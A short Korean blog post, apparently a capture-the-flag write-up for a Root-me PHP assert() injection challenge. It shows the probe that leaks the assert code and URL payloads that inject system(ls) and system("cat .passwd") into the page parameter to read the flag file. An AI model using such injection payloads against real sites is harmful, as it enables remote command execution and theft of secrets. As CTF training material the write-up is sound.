2021. 4. 23. 17:04ㆍWarGame/Rootme
php의 assert() 함수를 통해서 푸는거같은데, 저는 그냥 command injection 과 같이 비슷한 느낌으로 풀이를 진행했습니다.
< challenge01.root-me.org/web-serveur/ch47/?page=123
page명을 이상하게 바꾸어서 전송하게되면 아래와 같이 나옵니다.
에러를 강제로 만들어보기 위해서 %27 --> ' 를 삽입해보면
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: strpos('includes/1234'.php', '..') === false in /challenge/web-serveur/ch47/index.php on line 8
위와 같이 나옵니다.
대충 구문을 맞춰서 system코드를 실행시켜보기 위해서 system(ls)를 삽입해보았더니
ls 명령어가 동작하는 것을 확인했고,
includes index.php 'includes/1234'.system(ls).'.php'File does not exist
처음 문제에서 요구한 .passwd 를 읽기 위해서
cat .passwd 구문을 삽입해주면
> challenge01.root-me.org/web-serveur/ch47/?page=1234%27.system(%22cat%20.passwd%22).%27
flag 획득이 가능합니다 :)
'WarGame > Rootme' 카테고리의 다른 글
rootme - ELF x86 - 0 protection (0) | 2021.04.26 |
---|---|
rootme - PHP - register globals (0) | 2021.04.25 |
rootme - Javascript - Obfuscation 1 (0) | 2021.03.29 |
rootme - JSON Web Token (JWT) - Introduction (0) | 2021.03.14 |
rootme - Insecure Code Management (0) | 2021.03.14 |